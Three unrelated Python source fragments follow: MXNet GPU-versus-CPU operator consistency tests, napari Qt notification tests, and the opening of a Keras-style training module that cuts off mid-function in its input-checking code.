'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 7, 7), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 7, 7), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 7, 7), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 7, 7), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, ] sym = mx.sym.npx.deformable_convolution(num_filter=3, kernel=(3,3), pad=(1,1), name='deformable_conv') check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol) # Stride > 1 ctx_list = [{'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, ] sym = mx.sym.npx.deformable_convolution(num_filter=3, kernel=(3,3), stride=(2,2), name='deformable_conv') check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol) # Dilate > 1 ctx_list = [{'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 18, 3, 3), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, ] sym = mx.sym.npx.deformable_convolution(num_filter=3, kernel=(3,3), dilate=(2,2), name='deformable_conv') check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol) # Deformable group > 1 ctx_list = [{'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 36, 5, 5), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.gpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 36, 5, 5), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 36, 5, 5), 'type_dict': {'deformable_conv_data': np.float64, 'deformable_conv_offset': np.float64}}, {'ctx': mx.cpu(0), 'deformable_conv_data': (2, 2, 7, 7), 'deformable_conv_offset': (2, 36, 5, 5), 'type_dict': {'deformable_conv_data': np.float32, 'deformable_conv_offset': np.float32}}, ] sym = mx.sym.npx.deformable_convolution(num_filter=4, kernel=(3,3), num_deformable_group=2, name='deformable_conv') check_consistency(sym, ctx_list, scale=0.1, rtol=tol, atol=tol) def check_rnn_layer(layer): layer.initialize(ctx=[mx.cpu(0), mx.gpu(0)]) with mx.gpu(0): x = mx.nd.ones((10, 16, 30)) states = layer.begin_state(16) go, gs = layer(x, states) with mx.cpu(0): x = mx.nd.ones((10, 16, 30)) states = layer.begin_state(16) co, cs = layer(x, states) # atol of 1e-6 required, as exposed by seed 2124685726 assert_almost_equal(go, co, rtol=1e-2, atol=1e-6) for g, c in zip(gs, cs): assert_almost_equal(g, c, rtol=1e-2, atol=1e-6) def check_rnn_layer_w_rand_inputs(layer): layer.initialize(ctx=[mx.cpu(0), mx.gpu(0)]) x = mx.nd.uniform(shape=(10, 16, 30)) with mx.gpu(0): x = x.copyto(mx.gpu(0)) states = layer.begin_state(16) go, gs = layer(x, states) with mx.cpu(0): x = x.copyto(mx.cpu(0)) states = layer.begin_state(16) co, cs = layer(x, states) assert_almost_equal(go, co, rtol=1e-2, atol=1e-6) for g, c in zip(gs, cs): assert_almost_equal(g, c, rtol=1e-2, atol=1e-6) @pytest.mark.serial def test_sequence_reverse(): check_sequence_reverse(mx.gpu(0)) @pytest.mark.serial def test_autograd_save_memory(): x = mx.nd.zeros((128, 512, 512), ctx=mx.gpu(0)) x.attach_grad() with mx.autograd.record(): for i in range(200): x = x + 1 x.wait_to_read() x.backward() @pytest.mark.serial def test_cuda_rtc(): source = r''' extern "C" __global__ void axpy(const float *x, float *y, float alpha) { int i = threadIdx.x + blockIdx.x * blockDim.x; y[i] += alpha * x[i]; } extern "C" __global__ void saxpy(const float *x, float *y, float alpha) { extern __shared__ float smem[]; int i = threadIdx.x + blockIdx.x * blockDim.x; smem[threadIdx.x] = x[i]; y[i] += alpha * smem[threadIdx.x]; } ''' module = mx.rtc.CudaModule(source) axpy = module.get_kernel("axpy", "const float *x, float *y, float alpha") x = mx.nd.ones((10,), ctx=mx.gpu(0)) y = mx.nd.zeros((10,), ctx=mx.gpu(0)) axpy.launch([x, y, 3.0], mx.gpu(0), (1, 1, 1), (10, 1, 1)) assert (y.asnumpy() == 3).all() saxpy = module.get_kernel("saxpy", "const float *x, float *y, float alpha") saxpy.launch([x, y, 4.0], mx.gpu(0), (1, 1, 1), (10, 1, 1), 10) assert (y.asnumpy() == 7).all() saxpy.launch([x, y, 5.0], mx.gpu(0), (2, 1, 1), (5, 1, 1), 5) assert (y.asnumpy() == 12).all() @pytest.mark.serial def test_cross_device_autograd(): x = mx.nd.random.uniform(shape=(10,)) x.attach_grad() with mx.autograd.record(): y = mx.nd.tanh(x) y = y.copyto(mx.gpu(0)) y = mx.nd.tanh(y) y = y.copyto(mx.cpu(0)) y = mx.nd.tanh(y) y = y.copyto(mx.gpu(0)) y = y.copyto(mx.gpu(0)) y.backward() dx = x.grad.copy() x.grad[:] = 0 with mx.autograd.record(): y = x for i in range(3): y = mx.nd.tanh(y) y.backward() assert_almost_equal(dx, x.grad) @pytest.mark.serial def test_multi_proposal_op(): # paramters feature_stride = 16 scales = (8, 16, 32) ratios = (0.5, 1, 2) rpn_pre_nms_top_n = 12000 rpn_post_nms_top_n = 2000 rpn_min_size = feature_stride feat_len = (1000 + 15) // 16 H, W = feat_len, feat_len num_anchors = len(scales) * len(ratios) count_anchors = H * W * num_anchors def get_new_data(batch_size, ctx): ''' cls_prob: (batch_size, 2 * num_anchors, H, W) bbox_pred: (batch_size, 4 * num_anchors, H, W) im_info: (batch_size, 3) ''' dtype = np.float32 cls_prob = mx.nd.empty((batch_size, 2 * num_anchors, H, W), dtype = dtype, ctx = ctx) bbox_pred = mx.nd.empty((batch_size, 4 * num_anchors, H, W), dtype = dtype, ctx = ctx) im_info = mx.nd.empty((batch_size, 3), dtype = dtype, ctx = ctx) cls = [1.0 * (i + 1) / cls_prob.size for i in range(cls_prob.size)] np.random.shuffle(cls) cls_prob = mx.nd.reshape(mx.nd.array(cls, dtype = dtype, ctx = ctx), shape = cls_prob.shape) bbox_pred = mx.nd.array(np.random.randint(-2, 3, size = bbox_pred.shape), dtype = dtype, ctx = ctx) for i in range(batch_size): im_size = np.random.randint(600, feat_len * feature_stride, size = (2,)) im_scale = np.random.randint(80, 100) / 100.0 im_info[i, :] = [im_size[0], im_size[1], im_scale] return cls_prob, bbox_pred, im_info def check_proposal_consistency(op, batch_size, with_nms=False): ''' op is mx.nd.contrib.Proposal or mx.nd.contrib.MultiProposal ''' cls_prob, bbox_pred, im_info = get_new_data(batch_size, mx.cpu(0)) rois_cpu, score_cpu = op( cls_prob = cls_prob, bbox_pred = bbox_pred, im_info = im_info, feature_stride = feature_stride, scales = scales, ratios = ratios, rpn_pre_nms_top_n = rpn_pre_nms_top_n, rpn_post_nms_top_n = rpn_post_nms_top_n, threshold = 0.7 if with_nms else 1.0, rpn_min_size = rpn_min_size, output_score = True) gpu_ctx = mx.gpu(0) # copy data to gpu from cpu cls_prob_gpu = cls_prob.as_in_context(gpu_ctx) bbox_pred_gpu = bbox_pred.as_in_context(gpu_ctx) im_info_gpu = im_info.as_in_context(gpu_ctx) rois_gpu, score_gpu = op( cls_prob = cls_prob_gpu, bbox_pred = bbox_pred_gpu, im_info = im_info_gpu, feature_stride = feature_stride, scales = scales, ratios = ratios, rpn_pre_nms_top_n = rpn_pre_nms_top_n, rpn_post_nms_top_n = rpn_post_nms_top_n, threshold = 0.7 if with_nms else 1.0, rpn_min_size = rpn_min_size, output_score = True) rois_cpu_np = rois_cpu.asnumpy() rois_gpu_np = rois_gpu.asnumpy() score_cpu_np = score_cpu.asnumpy() score_gpu_np = score_gpu.asnumpy() if not with_nms: assert_almost_equal(score_cpu_np, score_gpu_np, atol = 1e-3, rtol = 1e-3) assert_almost_equal(rois_cpu_np, rois_gpu_np, atol = 1e-3, rtol = 1e-3) else: # no 100% gurantee with nms assert(np.sum(np.abs(score_cpu_np - score_gpu_np) < 1e-3) >= 10) assert(np.sum(np.abs(rois_cpu_np - rois_gpu_np) < 1e-3) >= 40) check_proposal_consistency(mx.nd.contrib.Proposal, 1) check_proposal_consistency(mx.nd.contrib.MultiProposal, 5) check_proposal_consistency(mx.nd.contrib.Proposal, 1, with_nms=True) check_proposal_consistency(mx.nd.contrib.MultiProposal, 5, with_nms=True) # The following 2 functions launch 0-thread kernels, an error that should be caught and signaled. def kernel_error_check_imperative(): with environment('MXNET_ENGINE_TYPE', 'NaiveEngine'): with mx.np_shape(active=True): a = mx.nd.array([1,2,3],ctx=mx.gpu(0)) b = mx.nd.array([],ctx=mx.gpu(0)) c = (a / b).asnumpy() def kernel_error_check_symbolic(): with environment('MXNET_ENGINE_TYPE', 'NaiveEngine'): with mx.np_shape(active=True): a = mx.sym.Variable('a') b = mx.sym.Variable('b') c = a / b f = c.bind(mx.gpu(0), {'a':mx.nd.array([1,2,3],ctx=mx.gpu(0)), 'b':mx.nd.array([],ctx=mx.gpu(0))}) f.forward() g = f.outputs[0].asnumpy() @pytest.mark.serial def test_kernel_error_checking(): # Running tests that may throw exceptions out of worker threads will stop CI testing # if not run in a separate process (with its own address space for CUDA compatibility). try: mpctx = mp.get_context('spawn') except: print('SKIP: python%s.%s lacks the required process fork-exec support ... ' % sys.version_info[0:2], file=sys.stderr, end='') else: with discard_stderr(): for f in [kernel_error_check_imperative, kernel_error_check_symbolic]: p = mpctx.Process(target=f) p.start() p.join() assert p.exitcode != 0,\ "Expected a synchronous kernel error from %s(), none seen." % f.__name__ def test_incorrect_gpu(): # Try setting dev_id to a really big number pytest.raises(MXNetError, mx.nd.ones, (2,2), ctx=mx.gpu(100001)) def test_batchnorm_backwards_notrain(): for ctx in [mx.cpu(0), mx.gpu(0)]: for cudnn_o in [False, True]: B,C,H,W = 4,3,2,2 x = mx.nd.random.poisson(1,shape=(B,C,H,W)).as_in_context(ctx) gamma = mx.nd.random.normal(shape=(C)).as_in_context(ctx) beta = mx.nd.random.normal(shape=(C)).as_in_context(ctx) mean = mx.nd.random.normal(shape=(C)).as_in_context(ctx) std = mx.nd.random.normal(shape=(C)).as_in_context(ctx) x.attach_grad() with autograd.record(False): y = mx.ndarray.BatchNorm(x, gamma, beta, mean, std.square(), fix_gamma=False, cudnn_off=cudnn_o) loss=y.square().sum() loss.backward(train_mode=False) def test_create_sparse_ndarray_gpu_to_cpu(): dim0 = 10 dim1 = 5 densities = [0, 0.5, 1] for density in densities: shape = rand_shape_2d(dim0, dim1) matrix = rand_ndarray(shape, 'row_sparse', density) data = matrix.data indices = matrix.indices rsp_created = mx.nd.sparse.row_sparse_array((data, indices), shape=shape, ctx=mx.cpu()) assert rsp_created.stype == 'row_sparse' assert same(rsp_created.data.asnumpy(), data.asnumpy()) assert same(rsp_created.indices.asnumpy(), indices.asnumpy()) rsp_copy = mx.nd.array(rsp_created) assert(same(rsp_copy.asnumpy(), rsp_created.asnumpy())) def test_softmax_activation(): gpu_a = mx.nd.array([[3., 0.5, -0.5, 2., 7.], [2., -.4, 7., 3., 0.2]], ctx=mx.gpu(0)) cpu_a = mx.nd.array([[3., 0.5, -0.5, 2., 7.], [2., -.4, 7., 3., 0.2]], ctx=mx.cpu()) cpu_a.attach_grad() gpu_a.attach_grad() with mx.autograd.record(): gpu_y = mx.nd.SoftmaxActivation(data = gpu_a) cpu_y = mx.nd.SoftmaxActivation(data = cpu_a) assert_almost_equal(cpu_y, gpu_y, atol = 1e-3, rtol = 1e-3) gpu_y.backward() cpu_y.backward() assert_almost_equal(cpu_a.grad, gpu_a.grad, atol = 1e-3, rtol = 1e-3) @pytest.mark.serial @pytest.mark.serial def test_bilinear_sampler_versions(): data = mx.sym.Variable('data') grid = mx.sym.Variable('grid') sym1 = mx.sym.BilinearSampler(data=data, grid=grid) sym2 = mx.sym.BilinearSampler(data=data, grid=grid, cudnn_off=True) sym3 = mx.sym.BilinearSampler(data=data, grid=grid) test_cases = [[(1,3,15,16),(1,2,10,10)], [(1,6,7,16),(1,2,10,4)], [(1,7,3,16),(1,2,8,11)], [(1,9,50,50),(1,2,50,50)]] for item in test_cases: data_shape, grid_shape = item # kWriteTo exe_cpu = sym1._simple_bind(data=data_shape, grid=grid_shape, ctx=mx.cpu(), grad_req='write') exe_gpu = sym2._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req='write') exe_cudnn = sym3._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req='write') exe_list = [exe_cpu, exe_gpu, exe_cudnn] ref_idx = 0 test_data = np.random.uniform(low=-0.1, high=0.1,size=data_shape).astype(np.float32) test_grid = np.random.uniform(low=-2, high=2, size=grid_shape).astype(np.float32) for exe in exe_list: exe.arg_dict['data'][:] = test_data exe.arg_dict['grid'][:] = test_grid exe.forward(is_train=True) mx.test_utils.assert_almost_equal(exe_list[ref_idx].outputs[0], exe.outputs[0], rtol=1e-3, atol=1e-5) out_grad = np.random.uniform(low=-0.01, high=0.01,size=data_shape[:2] + grid_shape[2:]).astype(np.float32) for exe in exe_list: exe.backward(mx.nd.array(out_grad)) assert_almost_equal(exe.grad_dict['data'], exe_list[ref_idx].grad_dict['data'], rtol=1e-3, atol=1e-5) assert_almost_equal(exe.grad_dict['grid'], exe_list[ref_idx].grad_dict['grid'], rtol=1e-3, atol=1e-5) data_grad = exe_list[ref_idx].grad_dict['data'].asnumpy() grid_grad = exe_list[ref_idx].grad_dict['grid'].asnumpy() # kAddTo exe_cpu_addto = sym1._simple_bind(data=data_shape, grid=grid_shape, ctx=mx.cpu(), grad_req='add') exe_gpu_addto = sym2._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req='add') exe_cudnn_addto = sym3._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req='add') exe_list = [exe_cpu_addto, exe_gpu_addto, exe_cudnn_addto] data_initial_grad = np.random.normal(size=exe_list[ref_idx].grad_dict['data'].shape).astype(np.float32) grid_initial_grad = np.random.normal(size=exe_list[ref_idx].grad_dict['grid'].shape).astype(np.float32) for exe in exe_list: exe.arg_dict['data'][:] = test_data exe.arg_dict['grid'][:] = test_grid exe.grad_dict['data'][:] = data_initial_grad exe.grad_dict['grid'][:] = grid_initial_grad exe.forward(is_train=True) exe.backward(mx.nd.array(out_grad)) assert_almost_equal(exe.grad_dict['data'], exe_list[ref_idx].grad_dict['data'], rtol=1e-3, atol=1e-5) assert_almost_equal(exe.grad_dict['grid'], exe_list[ref_idx].grad_dict['grid'], rtol=1e-3, atol=1e-5) assert_almost_equal(exe_list[ref_idx].grad_dict['data'], data_grad + data_initial_grad, rtol=1e-3, atol=1e-5) assert_almost_equal(exe_list[ref_idx].grad_dict['grid'], grid_grad + grid_initial_grad, rtol=1e-3, atol=1e-5) for req_dict in [{'data' : 'null', 'grid' : 'write'}, {'data' : 'write', 'grid' : 'null'}]: # Mixture of kWriteTo and kNullOp exe_cpu_mix = sym1._simple_bind(data=data_shape, grid=grid_shape, ctx=mx.cpu(), grad_req=req_dict) exe_gpu_mix = sym2._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req=req_dict) exe_cudnn_mix = sym3._simple_bind(data=data_shape, grid=grid_shape, ctx=default_context(), grad_req=req_dict) exe_list = [exe_cpu_mix, exe_gpu_mix, exe_cudnn_mix] for exe in exe_list: exe.arg_dict['data'][:] = test_data exe.arg_dict['grid'][:] = test_grid exe.forward(is_train=True) exe.backward(mx.nd.array(out_grad)) if req_dict['data'] is 'write': assert_almost_equal(exe.grad_dict['data'], exe_list[ref_idx].grad_dict['data'], rtol=1e-3, atol=1e-5) if req_dict['grid'] is 'write': assert_almost_equal(exe.grad_dict['grid'], exe_list[ref_idx].grad_dict['grid'], rtol=1e-3, atol=1e-5) # isolated execution bulking test function to be invoked with different env var settings def _test_bulking_in_process(seed, time_per_iteration): data_shape = (10,) num_ops = 1000 num_iterations = 20 ctx = default_context() # build symbol X = mx.sym.Variable('X') sym = mx.sym.flip(X, axis=0) for _ in range(num_ops-1): sym = mx.sym.flip(sym, axis=0) x = mx.ndarray.zeros(data_shape) dx = mx.ndarray.zeros(data_shape) dy = mx.ndarray.ones(data_shape) exe = sym._bind(ctx=ctx, args=[x], args_grad = {'X':dx}) # time a number of forward() and backward() executions after some warm-up iterations warmups = 1 for i in range(num_iterations+warmups): if i == warmups: start = time.time() exe.forward(is_train=True) exe.backward(dy) dx.wait_to_read() time_per_iteration.value = (time.time() - start) / num_iterations @pytest.mark.skip(reason='skippping temporarily, tracked by https://github.com/apache/incubator-mxnet/issues/16517') def test_bulking_operator_gpu(): _test_bulking(_test_bulking_in_process) @pytest.mark.skip(reason='skippping temporarily, tracked by https://github.com/apache/incubator-mxnet/issues/14970') def test_bulking(): # test case format: (max_fwd_segment_size, max_bwd_segment_size, enable_bulking_in_training) test_cases = [(0,0,True), (1,1,True), (15,15,False), (15,0,True), (0,15,True), (15,15,True)] times = {} times_str = '' for seg_sizes in test_cases: # Create shared variable to return measured time from test process time_per_iteration = mp.Manager().Value('d', 0.0) if not run_in_spawned_process(_test_bulking_in_process, {'MXNET_EXEC_BULK_EXEC_MAX_NODE_TRAIN_FWD' : str(seg_sizes[0]), 'MXNET_EXEC_BULK_EXEC_MAX_NODE_TRAIN_BWD' : str(seg_sizes[1]), 'MXNET_EXEC_BULK_EXEC_TRAIN' : str(seg_sizes[2])}, time_per_iteration): # skip test since the python version can't run it properly. Warning msg was logged. return times[seg_sizes] = time_per_iteration.value times_str += \ '\n runtime of (fwd,bwd,enable) op seg setting ({},{},{}) =\t{:.1f} msec'.format( seg_sizes[0], seg_sizes[1], seg_sizes[2], 1000.0 * times[seg_sizes]) fastest_non_bulked_time = min(times[(0,0,True)], times[(1,1,True)], times[(15,15,False)]) slowest_half_bulked_time = max(times[(0,15,True)], times[(15,0,True)]) fastest_half_bulked_time = min(times[(0,15,True)], times[(15,0,True)]) fully_bulked_time = times[(15,15,True)] print(times_str) # Non-bulked times[0,0,True], times[1,1,True] and times[15,15,False] should be about the same, # slower than both half-bulked times[0,15,True] and times[15,0,True] assert slowest_half_bulked_time < fastest_non_bulked_time, \ 'A half-bulked exec time is slower than the non-bulked time by {} secs! {}' \ .format(slowest_half_bulked_time - fastest_non_bulked_time, times_str) # The fully bulked times[15,15,True] should be faster than both half-bulked runs assert fully_bulked_time < fastest_half_bulked_time, \ 'The fully-bulked exec time is slower than a half-bulked time by {} secs! {}' \ .format(fully_bulked_time - fastest_half_bulked_time, times_str) @pytest.mark.serial def test_allclose_function_gpu(): allclose_function([mx.cpu(), mx.gpu(0)]) def test_context_num_gpus(): # Test that num_gpus reports at least one GPU, as the test is run on a GPU host. assert mx.context.num_gpus() > 0 def math_log(shape, dtype, check_value): np_x = np.random.rand(*tuple(shape)) x = mx.nd.array(np_x, dtype=dtype) y = mx.nd.log(data=x) if check_value: x_ = x.as_in_context(mx.cpu()) y_ = mx.nd.log(data=x_) assert_almost_equal(y.asnumpy(), y_.asnumpy()) def math_erf(shape, dtype, check_value): np_x = np.random.rand(*tuple(shape)) x = mx.nd.array(np_x, dtype=dtype) y = mx.nd.erf(data=x) if check_value: x_ = x.as_in_context(mx.cpu()) y_ = mx.nd.erf(data=x_) assert_almost_equal(y.asnumpy(), y_.asnumpy()) def math_square(shape, dtype, check_value): np_x = np.random.rand(*tuple(shape)) x = mx.nd.array(np_x, dtype=dtype) y = mx.nd.square(data=x) if check_value: x_ = x.as_in_context(mx.cpu()) y_ = mx.nd.square(data=x_) assert_almost_equal(y.asnumpy(), y_.asnumpy()) def run_math(op, shape, dtype="float32", check_value=True): run_num = 10 for i in range(run_num): if op == 'log': math_log(shape=shape, dtype=dtype, check_value=check_value) elif op == 'erf': math_erf(shape=shape, dtype=dtype, check_value=check_value) elif op == 'square': math_square(shape=shape, dtype=dtype, check_value=check_value) @pytest.mark.serial def test_math(): ops = ['log', 'erf', 'square'] check_value= True shape_lst = [[1000], [100,1000], [10,100,100], [10,100,100,100]] dtypes = ["float32", "float64"] for shape in shape_lst: for dtype in dtypes: for op in ops: run_math(op, shape, dtype, check_value=check_value) @pytest.mark.serial def test_arange_like_dtype(): dtypes = [np.float16, np.float32, np.float64] for t in dtypes: x = mx.sym.Variable('x', dtype=t) y = mx.sym.reshape(x, shape=(0, 0, -1)) z = mx.sym.contrib.arange_like(y, axis=-1) mod = z._simple_bind(ctx=mx.gpu(0), x=(3, 4, 5, 6), grad_req='null') mod.arg_arrays[0][:] = np.random.normal(size=mod.arg_arrays[0].shape).astype(t) out = mod.forward(is_train=False) for v in out: assert v.dtype == t def test_fp16_spmm(): inp = mxsps.csr_matrix(sps.coo_matrix(([2.0], ([150], [100000]))).tocsr()) inp = inp.astype('float16', copy=False) weight = mx.nd.random.randn(100001, 151) weight = weight.astype('float16', copy=False) out = mxsps.dot(inp, weight) out_np = mx.nd.dot(inp, weight) assert_almost_equal(out.asnumpy(), out_np, rtol=1e-3, atol=1e-5) @pytest.mark.serial @pytest.mark.parametrize('dtype', ["float16", "float32", "float64"]) def test_split_v2_fwd(dtype): dim = random.randint(2, 9) shape = rand_shape_nd(dim) axis = random.randint(-dim, dim-1) axis_size = shape[axis] samples = random.randint(0, axis_size - 1) indices = sorted(random.sample([i for i in range(1, axis_size)], samples)) indices = tuple(indices) mx_data = rand_ndarray(shape, dtype=dtype) np_data = mx_data.asnumpy() np_out = np.split(np_data, indices_or_sections=indices, axis=axis) data = mx.sym.Variable("data") sym = mx.sym.split_v2(data, indices_or_sections=indices, axis=axis) check_symbolic_forward(sym, {"data": mx_data}, np_out, rtol=1e-3, atol=1e-5)
test_qt_notifications.py
import threading import warnings from concurrent.futures import Future from unittest.mock import patch import dask.array as da import pytest from qtpy.QtCore import Qt, QThread from qtpy.QtWidgets import QPushButton from napari._qt.dialogs.qt_notification import NapariQtNotification from napari._tests.utils import DEFAULT_TIMEOUT_SECS from napari.utils.notifications import ( ErrorNotification, Notification, NotificationSeverity, notification_manager, ) def _threading_warn(): thr = threading.Thread(target=_warn) thr.start() thr.join(timeout=DEFAULT_TIMEOUT_SECS) def _warn(): warnings.warn('warning!') def _threading_raise(): thr = threading.Thread(target=_raise) thr.start() thr.join(timeout=DEFAULT_TIMEOUT_SECS) def _raise(): raise ValueError("error!") @pytest.fixture def clean_current(monkeypatch, qtbot): from napari._qt.qt_main_window import _QtMainWindow def none_return(*_, **__): return None base_show = NapariQtNotification.show def store_widget(self, *args, **kwargs): qtbot.addWidget(self) base_show(self, *args, **kwargs) # monkeypatch.setattr(qt_notification.QPropertyAnimation, "start", none_return) monkeypatch.setattr(_QtMainWindow, "current", none_return) monkeypatch.setattr(NapariQtNotification, "show", store_widget) @pytest.mark.parametrize( "raise_func,warn_func", [(_raise, _warn), (_threading_raise, _threading_warn)], ) def test_notification_manager_via_gui( qtbot, raise_func, warn_func, clean_current ): """ Test that the notification_manager intercepts `sys.excepthook`` and `threading.excepthook`. """ errButton = QPushButton() warnButton = QPushButton() errButton.clicked.connect(raise_func) warnButton.clicked.connect(warn_func) with notification_manager: for btt, expected_message in [ (errButton, 'error!'), (warnButton, 'warning!'), ]: notification_manager.records = [] qtbot.mouseClick(btt, Qt.LeftButton) assert len(notification_manager.records) == 1 assert notification_manager.records[0].message == expected_message notification_manager.records = [] @patch('napari._qt.dialogs.qt_notification.QDialog.show') def test_show_notification_from_thread(mock_show, monkeypatch, qtbot): from napari.settings import get_settings settings = get_settings() monkeypatch.setattr( settings.application, 'gui_notification_level', NotificationSeverity.INFO, ) class CustomThread(QThread): def run(self): notif = Notification( 'hi', NotificationSeverity.INFO, actions=[('click', lambda x: None)], ) res = NapariQtNotification.show_notification(notif) assert isinstance(res, Future) assert res.result(timeout=DEFAULT_TIMEOUT_SECS) is None mock_show.assert_called_once() thread = CustomThread() with qtbot.waitSignal(thread.finished): thread.start() @pytest.mark.parametrize('severity', NotificationSeverity.__members__) @patch('napari._qt.dialogs.qt_notification.QDialog.show') def test_notification_display(mock_show, severity, monkeypatch, qtbot): """Test that NapariQtNotification can present a Notification event. NOTE: in napari.utils._tests.test_notification_manager, we already test that the notification manager successfully overrides sys.excepthook, and warnings.showwarning... and that it emits an event which is an instance of napari.utils.notifications.Notification. in `get_app()`, we connect `notification_manager.notification_ready` to `NapariQtNotification.show_notification`, so all we have to test here is that show_notification is capable of receiving various event types. (we don't need to test that ) """ from napari.settings import get_settings settings = get_settings() monkeypatch.delenv('NAPARI_CATCH_ERRORS', raising=False) monkeypatch.setattr( settings.application, 'gui_notification_level', NotificationSeverity.INFO, ) notif = Notification('hi', severity, actions=[('click', lambda x: None)]) NapariQtNotification.show_notification(notif) if NotificationSeverity(severity) >= NotificationSeverity.INFO: mock_show.assert_called_once() else: mock_show.assert_not_called() dialog = NapariQtNotification.from_notification(notif) assert not dialog.property('expanded') dialog.toggle_expansion() assert dialog.property('expanded') dialog.toggle_expansion() assert not dialog.property('expanded') dialog.close() dialog.deleteLater() @patch('napari._qt.dialogs.qt_notification.QDialog.show') def test_notification_error(mock_show, monkeypatch, clean_current): from napari.settings import get_settings settings = get_settings() monkeypatch.delenv('NAPARI_CATCH_ERRORS', raising=False) monkeypatch.setattr( settings.application, 'gui_notification_level', NotificationSeverity.INFO, ) try: raise ValueError('error!') except ValueError as e: notif = ErrorNotification(e) dialog = NapariQtNotification.from_notification(notif) bttn = dialog.row2_widget.findChild(QPushButton) assert bttn.text() == 'View Traceback' mock_show.assert_not_called() bttn.click() mock_show.assert_called_once() @pytest.mark.sync_only def test_notifications_error_with_threading(make_napari_viewer): """Test notifications of `threading` threads, using a dask example.""" random_image = da.random.random((10, 10)) with notification_manager: viewer = make_napari_viewer() viewer.add_image(random_image) result = da.divide(random_image, da.zeros((10, 10))) viewer.add_image(result) assert len(notification_manager.records) >= 1 notification_manager.records = []
training.py
from __future__ import print_function from __future__ import absolute_import import warnings import copy import time import numpy as np import multiprocessing import threading import six try: import queue except ImportError: import Queue as queue from .topology import Container from .. import backend as K from .. import optimizers from .. import objectives from .. import metrics as metrics_module from ..utils.generic_utils import Progbar from .. import callbacks as cbks if K.backend() == 'mxnet': import mxnet as mx def standardize_input_data(data, names, shapes=None, check_batch_axis=True, exception_prefix=''): """Normalize inputs and targets provided by users. Users may pass data as a list of arrays, dictionary of arrays, or as a single array. We normalize this to an ordered list of arrays (same order as `names`), while checking that the provided arrays have shapes that match the network's expectations. # Arguments data: User-provided input data (polymorphic). names: List of expected array names. shapes: Optional list of expected array shapes. check_batch_axis: Boolean; whether to check that the batch axis of the arrays matches the expected value found in `shapes`. exception_prefix: String prefix used for exception formatting. """ if isinstance(data, dict): arrays = [] for name in names: if name not in data: raise ValueError('No data provided for "' + name + '". Need data for each key in: ' + str(names)) arrays.append(data[name]) elif isinstance(data, list): if len(data) != len(names): if len(data) > 0 and hasattr(data[0], 'shape'): raise ValueError('Error when checking ' + exception_prefix + ': the list of Numpy arrays ' 'that you are passing to your model ' 'is not the size the model expected. ' 'Expected to see ' + str(len(names)) + ' arrays but instead got ' 'the following list of ' + str(len(data)) + ' arrays: ' + str(data)[:200] + '...') else: if len(names) == 1: data = [np.asarray(data)] else: raise ValueError( 'Error when checking ' + exception_prefix + ': you are passing a list as ' 'input to your model, ' 'but the model expects ' 'a list of ' + str(len(names)) + ' Numpy arrays instead. ' 'The list you passed was: ' + str(data)[:200]) arrays = data else: if not hasattr(data, 'shape'): raise TypeError('Error when checking ' + exception_prefix + ': data should be a Numpy array, ' 'or list/dict of Numpy arrays. ' 'Found: ' + str(data)[:200] + '...') if len(names) != 1: # case: model expects multiple inputs but only received # a single Numpy array raise ValueError('The model expects ' + str(len(names)) + ' input arrays, but only received one array. ' 'Found: array with shape ' + str(data.shape)) arrays = [data] # make arrays at least 2D for i in range(len(names)): array = arrays[i] if len(array.shape) == 1: array = np.expand_dims(array, 1) 